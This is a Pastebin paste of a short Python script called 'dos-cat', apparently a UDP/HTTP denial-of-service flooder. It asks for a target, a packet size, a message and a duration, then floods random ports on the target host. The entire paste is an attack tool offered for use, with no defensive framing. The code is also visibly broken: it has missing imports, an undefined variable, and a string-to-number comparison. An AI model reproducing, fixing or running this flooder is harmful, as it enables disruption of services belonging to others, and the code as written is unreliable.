Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- global host
- global ip
- global port
- global whotoattack
- print(" )\._.,--....,'``.")
- print(" /, _.. \ _\ (`._ ,.")
- print(" `._.-(,_..'--(,_..'`-.;.' dos-cat")
- print("")
- whotoattack = raw_input("Target: ")
- host = whotoattack
- print("---")
- package = raw_input("Size: ")
- print("---")
- message= raw_input ("Message to send: ")
- print("---")
- duration = raw_input("Duration (0 is infinite): ")
- durclock = (lambda:0, time.clock)[duration > 0]
- duration = (1, (durclock() + duration))[duration > 0]
- packet = random._urandom(package)
- sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- print("---")
- print("An attack was launched on %s with %s bytes for %s seconds." % (target, package, duration))
- while True:
- if (durclock() < duration):
- port = random.randint(1, 65535)
- sock.connect((host, port))
- sock.send( "GET /%s HTTP/1.1\r\n" % message )
- sock.sendto( "GET /%s HTTP/1.1\r\n" % message, (whotoattack, port) )
- sock.send( "GET /%s HTTP/1.1\r\n" % message )
- else:
- break
- print("---")
- print("The flood on %s lasted for %s seconds." % (whotoattack, duration))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement